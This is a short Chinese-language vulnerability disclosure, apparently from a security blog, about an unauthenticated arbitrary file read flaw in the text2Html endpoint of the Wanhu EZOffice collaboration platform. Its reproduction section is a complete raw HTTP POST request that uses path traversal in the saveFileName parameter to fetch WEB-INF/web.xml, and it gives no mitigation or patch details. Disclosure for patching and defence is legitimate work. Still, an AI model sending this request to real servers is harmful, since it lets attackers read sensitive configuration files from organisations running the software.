万户OA text2Html接口存在任意文件读取漏洞

0x01 产品简介

EZOffice是万户网络专注于中高端市场的协同办公软件产品。通过统一的基础管理平台，实现用户数据、权限和身份的一体化管理认证。该产品整合了门户网站群和协同办公平台，将外部信息维护、客户服务、互动交流与日常工作紧密结合，从而有效提升工作效率。多年来，EZOffice一直不懈努力，致力于为用户提供高质量的协同办公解决方案。

0x02 漏洞概述

EZOffice协同管理平台的text2Htm接口存在潜在的任意文件读取漏洞，使得未经身份认证的攻击者有可能通过此漏洞获取敏感文件的访问权限

0x03 影响范围

EZOffice

0x04 复现环境

0x05 漏洞复现

POST /defaultroot/convertFile/text2Html.controller HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
Content-Length: 62
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
SL-CE-SUID: 1081

saveFileName=123456/../../../../WEB-INF/web.xml&moduleName=txt